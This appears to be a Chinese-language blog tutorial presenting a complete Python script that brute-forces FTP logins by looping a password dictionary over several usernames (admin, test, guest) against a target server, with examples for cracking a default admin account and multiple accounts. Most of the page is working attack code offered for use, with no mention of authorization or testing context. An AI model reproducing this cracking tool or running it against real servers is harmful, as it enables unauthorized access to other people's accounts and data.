下面是Python编写暴力破解FTP密码小工具的完整攻略:
思路
- 导入常用的
ftplib
、os
等模块 - 读取字典文件,每个元素为一行密码,存放到list中
- 通过循环遍历用户名列表和密码列表,对每个用户名进行暴力破解
- 通过
ftplib
模块中FTP()
函数建立ftp对象,并使用login()
尝试登录 - 若成功登录,则打印出用户名和密码,结束程序
- 若失败,则继续尝试下一个密码,直到找到正确的密码或密码列表全部遍历完成
代码实现
import ftplib
import os
# 读取字典文件,每个元素为一行密码,存放到list中
password_file = "password.txt"
with open(password_file) as f:
password_list = [password.strip() for password in f.readlines()]
# 定义ftp服务器信息
ftp_server = "192.168.0.100"
ftp_port = 21
ftp_usernames = ["admin", "test", "guest"] # 待破解的用户名列表
# 遍历用户名列表和密码列表,进行暴力破解
for username in ftp_usernames:
for password in password_list:
try:
# 创建FTP对象并登录
ftp = ftplib.FTP()
ftp.connect(ftp_server, ftp_port)
ftp.login(username, password)
# 登录成功则打印成功信息,退出程序
print(f"[*] {username}:{password} Login successful.")
ftp.quit()
exit(0)
except Exception as e:
# 登录失败则忽略异常,继续尝试下一条密码
pass
print("[*] Password not found in the dictionary.")
示例说明
假设字典文件中仅包含以下两行密码:
123456
admin123
示例1:破解默认管理员账户密码
假设目标FTP服务器默认管理员账户名为admin
,则在ftp_usernames
列表中添加该用户名,代码如下:
ftp_usernames = ["admin"]
运行上述代码,程序会依次遍历字典文件中的每个密码,并尝试使用admin
账户和密码进行登录,直到找到正确的密码或密码列表全部遍历完成。
示例2:破解多个账户密码
假设目标FTP服务器上存在多个账户,希望对这些账户的密码进行暴力破解。在ftp_usernames
列表中添加需要破解的账户名,例如:
ftp_usernames = ["admin", "test", "guest"]
运行上述代码,程序会依次遍历字典文件中的每个密码,并尝试使用每个账户和该密码进行登录,直到找到正确的密码或密码列表全部遍历完成。
本站文章如无特殊说明,均为本站原创,如若转载,请注明出处:python编写暴力破解FTP密码小工具 - Python技术站